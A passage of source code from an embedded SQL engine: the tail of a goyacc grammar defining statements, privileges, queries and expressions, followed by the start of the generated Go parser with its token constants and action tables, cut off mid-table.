USER IDENTIFIER WITH PASSWORD VARCHAR_LIT permission { $$ = &CreateUserStmt{username: $3, password: $6, permission: $7} } | ALTER USER IDENTIFIER WITH PASSWORD VARCHAR_LIT permission { $$ = &AlterUserStmt{username: $3, password: $6, permission: $7} } | DROP USER IDENTIFIER { $$ = &DropUserStmt{username: $3} } | GRANT sqlPrivileges ON DATABASE qualifiedName TO USER IDENTIFIER { $$ = &AlterPrivilegesStmt{database: $5, user: $8, privileges: $2, isGrant: true} } | REVOKE sqlPrivileges ON DATABASE qualifiedName TO USER IDENTIFIER { $$ = &AlterPrivilegesStmt{database: $5, user: $8, privileges: $2} } ; sqlPrivileges: ALL PRIVILEGES { $$ = allPrivileges } | sqlPrivilege { $$ = []SQLPrivilege{$1} } | sqlPrivilege ',' sqlPrivileges { $$ = append($3, $1) } sqlPrivilege: SELECT { $$ = SQLPrivilegeSelect } | CREATE { $$ = SQLPrivilegeCreate } | INSERT { $$ = SQLPrivilegeInsert } | UPDATE { $$ = SQLPrivilegeUpdate } | DELETE { $$ = SQLPrivilegeDelete } | DROP { $$ = SQLPrivilegeDrop } | ALTER { $$ = SQLPrivilegeAlter } ; permission: { $$ = PermissionReadWrite } | READ { $$ = PermissionReadOnly } | READWRITE { $$ = PermissionReadWrite } | ADMIN { $$ = PermissionAdmin } ; opt_if_not_exists: { $$ = false } | IF NOT EXISTS { $$ = true } ; dmlstmt: INSERT INTO tableRef insert_cols values_or_query opt_on_conflict { $$ = &UpsertIntoStmt{isInsert: true, tableRef: $3, cols: $4, ds: $5, onConflict: $6} } | UPSERT INTO tableRef insert_cols values_or_query { $$ = &UpsertIntoStmt{tableRef: $3, cols: $4, ds: $5} } | DELETE FROM tableRef opt_where opt_indexon opt_limit opt_offset { $$ = &DeleteFromStmt{tableRef: $3, where: $4, indexOn: $5, limit: $6, offset: $7} } | UPDATE tableRef SET updates opt_where opt_indexon opt_limit opt_offset { $$ = &UpdateStmt{tableRef: $2, updates: $4, where: $5, indexOn: $6, limit: $7, offset: $8} } values_or_query: VALUES rows { $$ = &valuesDataSource{rows: $2} } | dqlstmt { $$ = $1.(DataSource) } opt_on_conflict: { $$ = nil } | ON CONFLICT DO NOTHING { $$ = &OnConflictDo{} } updates: update { $$ = []*colUpdate{$1} } | updates ',' update { $$ = append($1, $3) } update: IDENTIFIER CMPOP exp { $$ = &colUpdate{col: $1, op: $2, val: $3} } rows: row { $$ = []*RowSpec{$1} } | rows ',' row { $$ = append($1, $3) } row: '(' opt_values ')' { $$ = &RowSpec{Values: $2} } cols: col { $$ = []*ColSelector{$1} } | cols ',' col { $$ = append($1, $3) } opt_values: { $$ = nil } | values { $$ = $1 } values: exp { $$ = []ValueExp{$1} } | values ',' exp { $$ = append($1, $3) } val: INTEGER_LIT { $$ = &Integer{val: int64($1)} } | FLOAT_LIT { $$ = &Float64{val: float64($1)} } | VARCHAR_LIT { $$ = &Varchar{val: $1} } | BOOLEAN_LIT { $$ = &Bool{val:$1} } | BLOB_LIT { $$ = &Blob{val: $1} } | CAST '(' exp AS sql_type ')' { $$ = &Cast{val: $3, t: $5} } | fnCall { $$ = $1 } | NPARAM { $$ = &Param{id: $1} } | PPARAM { $$ = &Param{id: fmt.Sprintf("param%d", $1), pos: $1} } | NULL { $$ = &NullValue{t: AnyType} } ; sql_type: INTEGER_TYPE { $$ = IntegerType } | BOOLEAN_TYPE { $$ = BooleanType } | VARCHAR_TYPE { $$ = VarcharType } | UUID_TYPE { $$ = UUIDType } | BLOB_TYPE { $$ = BLOBType } | TIMESTAMP_TYPE { $$ = TimestampType } | FLOAT_TYPE { $$ = Float64Type } | JSON_TYPE { $$ = JSONType } ; fnCall: IDENTIFIER '(' opt_values ')' { $$ = &FnCall{fn: $1, params: $3} } tableElems: tableElem { $$ = []TableElem{$1} } | tableElems ',' tableElem { $$ = append($1, $3) } tableElem: colSpec { $$ = $1 } | check { $$ = $1 } | PRIMARY KEY one_or_more_col_names { $$ = PrimaryKeyConstraint($3) } ; colSpec: col_name sql_type opt_max_len opt_not_null opt_auto_increment opt_primary_key { $$ = &ColSpec{ colName: $1, colType: $2, maxLen: int($3), notNull: $4 || $6, autoIncrement: $5, primaryKey: $6, } } ; opt_primary_key: { $$ = false } | PRIMARY KEY { $$ = true } ; opt_max_len: { $$ = 0 } | '[' INTEGER_LIT ']' { $$ = $2 } | '(' INTEGER_LIT ')' { $$ = $2 } opt_auto_increment: { $$ = false } | AUTO_INCREMENT { $$ = true } opt_not_null: { $$ = false } | NULL { $$ = false } | NOT NULL { $$ = true } dqlstmt: select_stmt { $$ = $1 } | select_stmt UNION opt_all dqlstmt { $$ = &UnionStmt{ distinct: $3, left: $1.(DataSource), right: $4.(DataSource), } } | SHOW DATABASES { $$ = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, } } | SHOW TABLES { $$ = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } | SHOW TABLE IDENTIFIER { $$ = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: $3}}}}, } } | SHOW USERS { $$ = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } | SHOW GRANTS { $$ = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants"}}, } } | SHOW GRANTS FOR IDENTIFIER { $$ = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants", params: []ValueExp{&Varchar{val: $4}}}}, } } select_stmt: SELECT opt_distinct opt_targets FROM ds opt_indexon opt_joins opt_where opt_groupby opt_having opt_orderby opt_limit opt_offset { $$ = &SelectStmt{ distinct: $2, targets: $3, ds: $5, indexOn: $6, joins: $7, where: $8, groupBy: $9, having: $10, orderBy: $11, limit: $12, offset: $13, } } | SELECT opt_distinct opt_targets { $$ = &SelectStmt{ distinct: $2, targets: $3, ds: &valuesDataSource{rows: []*RowSpec{{}}}, } } ; opt_all: { $$ = true } | ALL { $$ = false } opt_distinct: { $$ = false } | DISTINCT { $$ = true } opt_targets: '*' { $$ = nil } | targets { $$ = $1 } targets: exp opt_as { $$ = []TargetEntry{{Exp: $1, As: $2}} } | targets ',' exp opt_as { $$ = append($1, TargetEntry{Exp: $3, As: $4}) } selector: col { $$ = $1 } | col jsonFields { $$ = &JSONSelector{ColSelector: $1, fields: $2} } | AGGREGATE_FUNC '(' '*' ')' { $$ = &AggColSelector{aggFn: $1, col: "*"} } | AGGREGATE_FUNC '(' col ')' { $$ = &AggColSelector{aggFn: $1, table: $3.table, col: $3.col} } jsonFields: ARROW VARCHAR_LIT { $$ = []string{$2} } | jsonFields ARROW VARCHAR_LIT { $$ = append($$, $3) } col: col_name { $$ = &ColSelector{col: $1} } | col_name DOT col_name { $$ = &ColSelector{table: $1, col: $3} } ; tableName: qualifiedName; col_name: qualifiedName | colNameKeyword { $$ = $1 } ; col_names: col_name { $$ = []string{$1} } | col_names ',' col_name { $$ = append($1, $3) } ; one_or_more_col_names: col_name { $$ = []string{$1} } | '(' col_names ')' { $$ = $2 } ; insert_cols: { $$ = nil } | '(' col_names ')' { $$ = $2 } ; colNameKeyword: BETWEEN | BLOB_TYPE | BOOLEAN_TYPE | EXISTS | EXTRACT | FLOAT_TYPE | INTEGER_TYPE | JSON_TYPE | TIMESTAMP_TYPE | VALUES | VARCHAR_TYPE ; qualifiedName: IDENTIFIER { $$ = $1 } | unreserved_keyword { $$ = string($1) } ; unreserved_keyword: ADMIN | OF | DROP | DATABASE | SNAPSHOT | INDEX | ALTER | ADD | RENAME | CONSTRAINT | KEY | GRANT | REVOKE | PRIVILEGES | BEGIN | TRANSACTION | COMMIT | ROLLBACK | INSERT | DELETE | UPDATE | CONFLICT | IF | SHOW | TABLES | YEAR | MONTH | DAY | HOUR | MINUTE | SECOND | USERS ; ds: tableRef opt_period opt_as { $1.period = $2 $1.as = $3 $$ = $1 } | '(' VALUES rows ')' { $$ = &valuesDataSource{inferTypes: true, rows: $3} } | '(' dqlstmt ')' opt_as { $2.(*SelectStmt).as = $4 $$ = $2.(DataSource) } | DATABASES '(' ')' opt_as { $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: $4} } | TABLES '(' ')' opt_as { $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: $4} } | TABLE '(' IDENTIFIER ')' { $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: $3}}}} } | USERS '(' ')' opt_as { $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: $4} } | fnCall opt_as { $$ = &FnDataSourceStmt{fnCall: $1.(*FnCall), as: $2} } | '(' HISTORY OF IDENTIFIER ')' opt_as { $$ = &tableRef{table: $4, history: true, as: $6} } tableRef: qualifiedName { $$ = &tableRef{table: $1} } opt_period: opt_period_start opt_period_end { $$ = period{start: $1, end: $2} } opt_period_start: { $$ = nil } | SINCE period_instant { $$ = &openPeriod{inclusive: true, instant: $2} } | AFTER period_instant { $$ = &openPeriod{instant: $2} } opt_period_end: { $$ = nil } | UNTIL period_instant { $$ = &openPeriod{inclusive: true, instant: $2} } | BEFORE period_instant { $$ = &openPeriod{instant: $2} } period_instant: TX exp { $$ = periodInstant{instantType: txInstant, exp: $2} } | exp { $$ = periodInstant{instantType: timeInstant, exp: $1} } opt_joins: { $$ = nil } | joins { $$ = $1 } joins: join { $$ = []*JoinSpec{$1} } | join joins { $$ = append([]*JoinSpec{$1}, $2...) } join: opt_join_type JOIN ds opt_indexon ON exp { $$ = &JoinSpec{joinType: $1, ds: $3, indexOn: $4, cond: $6} } opt_join_type: { $$ = InnerJoin } | JOINTYPE { $$ = $1 } opt_where: { $$ = nil } | WHERE exp { $$ = $2 } opt_groupby: { $$ = nil } | GROUP BY cols { $$ = $3 } opt_having: { $$ = nil } | HAVING exp { $$ = $2 } opt_limit: { $$ = nil } | LIMIT exp { $$ = $2 } opt_offset: { $$ = nil } | OFFSET exp { $$ = $2 } opt_orderby: { $$ = nil } | ORDER BY ordexps { $$ = $3 } opt_indexon: { $$ = nil } | USE INDEX ON one_or_more_col_names { $$ = $4 } ; ordexps: exp opt_ord { $$ = []*OrdExp{{exp: $1, descOrder: $2}} } | ordexps ',' exp opt_ord { $$ = append($1, &OrdExp{exp: $3, descOrder: $4}) } opt_ord: { $$ = false } | ASC { $$ = false } | DESC { $$ = true } opt_as: { $$ = "" } | qualifiedName { $$ = $1 } | AS qualifiedName { $$ = $2 } ; check: CHECK exp { $$ = CheckConstraint{exp: $2} } | CONSTRAINT IDENTIFIER CHECK exp { $$ = CheckConstraint{name: $2, exp: $4} } opt_exp: { $$ = nil } | exp { $$ = $1 } ; case_when_exp: CASE opt_exp when_then_clauses opt_else END { $$ = &CaseWhenExp{ exp: $2, whenThen: $3, elseExp: $4, } } ; when_then_clauses: WHEN exp THEN exp { $$ = []whenThenClause{{when: $2, then: $4}} } | when_then_clauses WHEN exp THEN exp { $$ = append($1, whenThenClause{when: $3, then: $5}) } ; opt_else: { $$ = nil } | ELSE exp { $$ = $2 } ; exp : orExp { $$ = $1 } ; orExp : orExp OR andExp { $$ = &BinBoolExp{left: $1, op: Or, right: $3} } | andExp ; andExp : andExp AND notExp { $$ = &BinBoolExp{left: $1, op: And, right: $3} } | notExp ; notExp : NOT notExp { $$ = &NotBoolExp{exp: $2} } | cmpExp ; cmpExp : addExp CMPOP addExp { $$ = &CmpBoolExp{left: $1, op: $2, right: $3} } | addExp IS NULL { $$ = &CmpBoolExp{left: $1, op: EQ, right: &NullValue{t: AnyType}} } | addExp IS NOT NULL { $$ = &CmpBoolExp{left: $1, op: NE, right: &NullValue{t: AnyType}} } | addExp BETWEEN addExp AND addExp { $$ = &BinBoolExp{ left: &CmpBoolExp{ left: $1, op: GE, right: $3, }, op: And, right: &CmpBoolExp{ left: $1, op: LE, right: $5, }, } } | addExp opt_not LIKE addExp { $$ = &LikeBoolExp{val: $1, notLike: $2, pattern: $4} } | addExp NOT_MATCHES_OP addExp { $$ = &LikeBoolExp{val: $1, notLike: true, pattern: $3} } | primaryBool ; primaryBool : EXISTS '(' dqlstmt ')' { $$ = &ExistsBoolExp{q: ($3).(DataSource)} } | addExp opt_not IN '(' dqlstmt ')' { $$ = &InSubQueryExp{val: $1, notIn: $2, q: $5.(*SelectStmt)} } | addExp opt_not IN '(' values ')' { $$ = &InListExp{val: $1, notIn: $2, values: $5} } | case_when_exp { $$ = $1 } | addExp ; addExp : addExp '+' mulExp { $$ = &NumExp{left: $1, op: ADDOP, right: $3} } | addExp '-' mulExp { $$ = &NumExp{left: $1, op: SUBSOP, right: $3} } | mulExp ; mulExp : mulExp '*' unaryExp { $$ = &NumExp{left: $1, op: MULTOP, right: $3} } | mulExp '/' unaryExp { $$ = &NumExp{left: $1, op: DIVOP, right: $3} } | mulExp '%' unaryExp { $$ = &NumExp{left: $1, op: MODOP, right: $3} } | unaryExp ; unaryExp : '-' unaryExp { i, isInt := $2.(*Integer) if isInt { i.val = -i.val $$ = i } else { $$ = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: $2} } } | primary ; primary : '(' exp ')' { $$ = $2 } | boundexp ; boundexp: selector { $$ = $1 } | val { $$ = $1 } | boundexp SCAST sql_type { $$ = &Cast{val: $1, t: $3} } | EXTRACT '(' timestamp_field FROM exp ')' { $$ = &ExtractFromTimestampExp{Field: $3, Exp: $5} } ; opt_not: { $$ = false } | NOT { $$ = true } ; timestamp_field: YEAR { $$ = TimestampFieldTypeYear; } | MONTH { $$ = TimestampFieldTypeMonth; } | DAY { $$ = TimestampFieldTypeDay; } | HOUR { $$ = TimestampFieldTypeHour; } | MINUTE { $$ = TimestampFieldTypeMinute; } | SECOND { $$ = TimestampFieldTypeSecond; } ; ================================================ FILE: embedded/sql/sql_parser.go ================================================ // Code generated by goyacc -l -o sql_parser.go sql_grammar.y. DO NOT EDIT. package sql import __yyfmt__ "fmt" import "fmt" func setResult(l yyLexer, stmts []SQLStmt) { l.(*lexer).result = stmts } type yySymType struct { yys int stmts []SQLStmt stmt SQLStmt datasource DataSource colSpec *ColSpec cols []*ColSelector rows []*RowSpec row *RowSpec values []ValueExp value ValueExp id string integer uint64 float float64 str string boolean bool blob []byte keyword string sqlType SQLValueType aggFn AggregateFn colNames []string col *ColSelector sel Selector targets []TargetEntry jsonFields []string distinct bool ds DataSource tableRef *tableRef period period openPeriod *openPeriod periodInstant periodInstant joins []*JoinSpec join *JoinSpec joinType JoinType check CheckConstraint exp ValueExp binExp ValueExp err error ordexps []*OrdExp opt_ord bool logicOp LogicOperator cmpOp CmpOperator pparam int update *colUpdate updates []*colUpdate onConflict *OnConflictDo permission Permission sqlPrivilege SQLPrivilege sqlPrivileges []SQLPrivilege whenThenClauses []whenThenClause tableElem TableElem tableElems []TableElem timestampField TimestampFieldType } const CREATE = 57346 const DROP = 57347 const USE = 57348 const DATABASE = 57349 const USER = 57350 const WITH = 57351 const PASSWORD = 57352 const READ = 57353 const READWRITE = 57354 const ADMIN = 57355 const SNAPSHOT = 57356 const HISTORY = 57357 const SINCE = 57358 const AFTER = 57359 const BEFORE = 57360 const UNTIL = 57361 const TX = 57362 const OF = 57363 const INTEGER_TYPE = 57364 const BOOLEAN_TYPE = 57365 const VARCHAR_TYPE = 57366 const UUID_TYPE = 57367 const BLOB_TYPE = 57368 const TIMESTAMP_TYPE = 57369 const FLOAT_TYPE = 57370 const JSON_TYPE = 57371 const TABLE = 57372 const UNIQUE = 57373 const INDEX = 57374 const ON = 57375 const ALTER = 57376 const ADD = 57377 const RENAME = 57378 const TO = 57379 const COLUMN = 57380 const CONSTRAINT = 57381 const PRIMARY = 57382 const KEY = 57383 const CHECK = 57384 const GRANT = 57385 const REVOKE = 57386 const GRANTS = 57387 const FOR = 57388 const PRIVILEGES = 57389 const BEGIN = 57390 const TRANSACTION = 57391 const COMMIT = 57392 const ROLLBACK = 57393 const INSERT = 57394 const UPSERT = 57395 const INTO = 57396 const VALUES = 57397 const DELETE = 57398 const UPDATE = 57399 const SET = 57400 const CONFLICT = 57401 const DO = 57402 const NOTHING = 57403 const RETURNING = 57404 const SELECT = 57405 const DISTINCT = 57406 const FROM = 57407 const JOIN = 57408 const HAVING = 57409 const WHERE = 57410 const GROUP = 57411 const BY = 57412 const LIMIT = 57413 const OFFSET = 57414 const ORDER = 57415 const ASC = 57416 const DESC = 57417 const AS = 57418 const UNION = 57419 const ALL = 57420 const CASE = 57421 const WHEN = 57422 const THEN = 57423 const ELSE = 57424 const END = 57425 const NOT = 57426 const LIKE = 57427 const IF = 57428 const EXISTS = 57429 const IN = 57430 const IS = 57431 const AUTO_INCREMENT = 57432 const NULL = 57433 const CAST = 57434 const SCAST = 57435 const SHOW = 57436 const DATABASES = 57437 const TABLES = 57438 const USERS = 57439 const BETWEEN = 57440 const EXTRACT = 57441 const YEAR = 57442 const MONTH = 57443 const DAY = 57444 const HOUR = 57445 const MINUTE = 57446 const SECOND = 57447 const NPARAM = 57448 const PPARAM = 57449 const JOINTYPE = 57450 const AND = 57451 const OR = 57452 const CMPOP = 57453 const NOT_MATCHES_OP = 57454 const IDENTIFIER = 57455 const INTEGER_LIT = 57456 const FLOAT_LIT = 57457 const VARCHAR_LIT = 57458 const BOOLEAN_LIT = 57459 const BLOB_LIT = 57460 const AGGREGATE_FUNC = 57461 const ERROR = 57462 const DOT = 57463 const ARROW = 57464 const STMT_SEPARATOR = 57465 var yyToknames = [...]string{ "$end", "error", "$unk", "CREATE", "DROP", "USE", "DATABASE", "USER", "WITH", "PASSWORD", "READ", "READWRITE", "ADMIN", "SNAPSHOT", "HISTORY", "SINCE", "AFTER", "BEFORE", "UNTIL", "TX", "OF", "INTEGER_TYPE", "BOOLEAN_TYPE", "VARCHAR_TYPE", "UUID_TYPE", "BLOB_TYPE", "TIMESTAMP_TYPE", "FLOAT_TYPE", "JSON_TYPE", "TABLE", "UNIQUE", "INDEX", "ON", "ALTER", "ADD", "RENAME", "TO", "COLUMN", "CONSTRAINT", "PRIMARY", "KEY", "CHECK", "GRANT", "REVOKE", "GRANTS", "FOR", "PRIVILEGES", "BEGIN", "TRANSACTION", "COMMIT", "ROLLBACK", "INSERT", "UPSERT", "INTO", "VALUES", "DELETE", "UPDATE", "SET", "CONFLICT", "DO", "NOTHING", "RETURNING", "SELECT", "DISTINCT", "FROM", "JOIN", "HAVING", "WHERE", "GROUP", "BY", "LIMIT", "OFFSET", "ORDER", "ASC", "DESC", "AS", "UNION", "ALL", "CASE", "WHEN", "THEN", "ELSE", "END", "NOT", "LIKE", "IF", "EXISTS", "IN", "IS", "AUTO_INCREMENT", "NULL", "CAST", "SCAST", "SHOW", "DATABASES", "TABLES", "USERS", "BETWEEN", "EXTRACT", "YEAR", "MONTH", "DAY", "HOUR", "MINUTE", "SECOND", "NPARAM", "PPARAM", "JOINTYPE", "AND", "OR", "CMPOP", "NOT_MATCHES_OP", "IDENTIFIER", "INTEGER_LIT", "FLOAT_LIT", "VARCHAR_LIT", "BOOLEAN_LIT", "BLOB_LIT", "AGGREGATE_FUNC", "ERROR", "DOT", "ARROW", "','", "'+'", "'-'", "'*'", "'/'", "'%'", "'.'", "STMT_SEPARATOR", "'('", "')'", "'['", "']'", } var yyStatenames = [...]string{} const yyEofCode = 1 const yyErrCode = 2 const yyInitialStackSize = 16 var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, -1, 139, 85, 277, 88, 277, -2, 261, -1, 370, 66, 210, -2, 205, -1, 428, 66, 210, -2, 207, } const yyPrivate = 57344 const yyLast = 1864 var yyAct = [...]int16{ 190, 522, 167, 421, 153, 278, 213, 161, 364, 284, 204, 360, 275, 246, 312, 427, 335, 359, 6, 334, 408, 399, 54, 247, 108, 207, 248, 101, 136, 272, 102, 490, 497, 135, 139, 144, 188, 112, 102, 404, 102, 403, 362, 362, 141, 491, 484, 340, 396, 483, 418, 492, 486, 54, 54, 54, 485, 480, 165, 472, 362, 362, 362, 114, 340, 116, 479, 477, 465, 458, 412, 363, 438, 339, 436, 435, 433, 395, 393, 392, 385, 59, 311, 60, 361, 407, 397, 384, 378, 57, 61, 377, 376, 375, 345, 262, 133, 58, 173, 171, 177, 243, 170, 175, 172, 174, 241, 240, 62, 237, 63, 64, 65, 230, 202, 66, 102, 67, 180, 68, 69, 24, 521, 70, 71, 72, 73, 74, 75, 224, 225, 176, 76, 77, 328, 78, 214, 227, 228, 229, 382, 192, 205, 201, 515, 209, 232, 418, 191, 235, 396, 212, 120, 39, 239, 224, 225, 242, 193, 391, 354, 347, 79, 234, 329, 456, 218, 455, 98, 49, 80, 474, 81, 88, 169, 254, 82, 83, 84, 85, 86, 87, 233, 462, 102, 461, 437, 216, 226, 55, 261, 32, 208, 220, 353, 99, 344, 282, 33, 337, 210, 270, 221, 271, 128, 117, 280, 401, 115, 255, 107, 106, 283, 292, 54, 219, 223, 281, 293, 291, 274, 217, 274, 259, 260, 430, 22, 103, 224, 225, 236, 454, 273, 277, 298, 489, 381, 104, 453, 251, 22, 297, 332, 488, 336, 331, 295, 92, 102, 308, 294, 256, 263, 343, 296, 245, 299, 21, 302, 244, 102, 276, 94, 305, 306, 307, 342, 203, 102, 303, 304, 21, 182, 338, 199, 348, 322, 323, 324, 325, 326, 327, 443, 300, 369, 346, 301, 367, 374, 179, 370, 349, 178, 350, 214, 214, 481, 31, 379, 380, 446, 333, 10, 12, 11, 373, 310, 387, 368, 388, 371, 389, 90, 91, 93, 127, 89, 523, 524, 508, 394, 276, 422, 251, 365, 351, 352, 514, 372, 503, 495, 205, 13, 183, 502, 383, 22, 471, 493, 390, 211, 14, 15, 52, 96, 463, 7, 417, 8, 9, 16, 17, 125, 51, 18, 19, 50, 25, 406, 119, 129, 22, 336, 405, 398, 506, 423, 21, 341, 500, 267, 268, 265, 266, 214, 414, 425, 264, 431, 413, 356, 419, 285, 355, 512, 336, 36, 424, 444, 445, 432, 447, 21, 358, 257, 181, 121, 449, 118, 251, 400, 441, 53, 440, 276, 366, 457, 105, 34, 448, 35, 450, 434, 269, 451, 187, 186, 439, 196, 258, 459, 420, 416, 466, 197, 43, 47, 26, 30, 468, 464, 38, 2, 122, 123, 124, 214, 469, 214, 214, 473, 214, 475, 476, 470, 478, 467, 482, 194, 195, 27, 29, 28, 37, 184, 48, 251, 97, 110, 111, 276, 409, 410, 411, 415, 200, 276, 198, 279, 23, 168, 56, 460, 44, 54, 321, 309, 46, 45, 291, 41, 496, 498, 400, 42, 313, 314, 315, 316, 317, 318, 319, 320, 357, 206, 499, 222, 452, 487, 40, 214, 507, 504, 509, 505, 518, 402, 132, 511, 130, 143, 494, 147, 516, 140, 519, 513, 517, 138, 134, 520, 59, 525, 60, 386, 149, 501, 526, 231, 57, 61, 249, 429, 428, 426, 185, 109, 58, 173, 171, 177, 126, 170, 175, 172, 174, 95, 238, 62, 150, 63, 64, 65, 151, 510, 66, 20, 67, 5, 68, 69, 4, 3, 70, 71, 72, 73, 74, 75, 1, 0, 176, 76, 77, 0, 78, 0, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 0, 0, 137, 0, 79, 142, 0, 0, 0, 164, 160, 0, 442, 0, 81, 88, 169, 152, 82, 83, 84, 85, 86, 87, 162, 163, 0, 0, 0, 0, 0, 166, 155, 156, 157, 158, 159, 154, 59, 0, 60, 0, 0, 146, 0, 0, 57, 61, 0, 148, 0, 0, 0, 189, 58, 173, 171, 177, 0, 170, 175, 172, 174, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 0, 0, 137, 0, 79, 142, 0, 0, 0, 164, 160, 0, 80, 0, 81, 88, 169, 152, 82, 83, 84, 85, 86, 87, 162, 163, 0, 0, 0, 0, 0, 166, 155, 156, 157, 158, 159, 154, 59, 0, 60, 0, 0, 146, 0, 0, 57, 61, 0, 148, 0, 0, 0, 0, 58, 173, 171, 177, 0, 170, 175, 172, 174, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 0, 0, 137, 0, 79, 142, 0, 0, 0, 164, 160, 0, 80, 0, 81, 88, 169, 152, 82, 83, 84, 85, 86, 87, 162, 163, 0, 0, 0, 0, 0, 166, 155, 156, 157, 158, 159, 154, 59, 0, 60, 0, 0, 146, 131, 0, 57, 61, 0, 148, 0, 0, 0, 0, 58, 173, 171, 177, 0, 170, 175, 172, 174, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 0, 0, 137, 0, 79, 142, 0, 0, 0, 164, 160, 0, 80, 0, 81, 88, 169, 152, 82, 83, 84, 85, 86, 87, 162, 163, 0, 0, 0, 0, 0, 166, 155, 156, 157, 158, 159, 154, 59, 0, 60, 0, 0, 146, 0, 0, 57, 61, 0, 148, 0, 0, 0, 0, 58, 173, 171, 177, 0, 170, 175, 172, 174, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 234, 0, 0, 0, 164, 160, 0, 80, 0, 81, 88, 169, 152, 82, 83, 84, 85, 86, 87, 162, 163, 0, 0, 0, 0, 0, 166, 155, 156, 157, 158, 159, 154, 59, 0, 60, 0, 0, 146, 0, 0, 57, 61, 0, 148, 0, 0, 0, 0, 58, 173, 171, 177, 0, 170, 175, 172, 174, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 234, 0, 0, 0, 0, 0, 0, 80, 0, 81, 88, 169, 254, 82, 83, 84, 85, 86, 87, 59, 0, 60, 0, 0, 0, 0, 55, 57, 61, 0, 0, 0, 0, 0, 0, 58, 0, 0, 0, 330, 0, 0, 0, 0, 289, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 0, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 0, 0, 0, 0, 0, 0, 0, 80, 287, 288, 290, 0, 0, 82, 83, 84, 85, 86, 87, 59, 0, 60, 0, 0, 0, 0, 166, 57, 61, 0, 0, 0, 0, 0, 0, 58, 173, 171, 177, 0, 170, 175, 172, 174, 286, 0, 62, 0, 63, 64, 65, 0, 0, 253, 250, 67, 252, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 234, 0, 0, 0, 0, 0, 0, 80, 0, 81, 88, 169, 254, 82, 83, 84, 85, 86, 87, 59, 0, 60, 0, 0, 0, 0, 55, 57, 61, 0, 0, 0, 0, 0, 0, 58, 173, 171, 177, 0, 170, 175, 172, 174, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 176, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 234, 0, 0, 0, 0, 0, 0, 80, 0, 81, 88, 169, 254, 82, 83, 84, 85, 86, 87, 59, 0, 60, 0, 0, 0, 0, 55, 57, 61, 0, 0, 0, 0, 0, 0, 58, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 0, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 215, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 0, 0, 0, 59, 0, 60, 0, 80, 0, 81, 88, 57, 61, 82, 83, 84, 85, 86, 87, 58, 0, 0, 0, 0, 0, 0, 55, 0, 0, 0, 62, 113, 63, 64, 65, 0, 0, 66, 0, 67, 0, 68, 69, 0, 0, 70, 71, 72, 73, 74, 75, 0, 0, 0, 76, 77, 0, 78, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 0, 0, 0, 59, 0, 60, 0, 80, 0, 81, 88, 57, 61, 82, 83, 84, 85, 86, 87, 58, 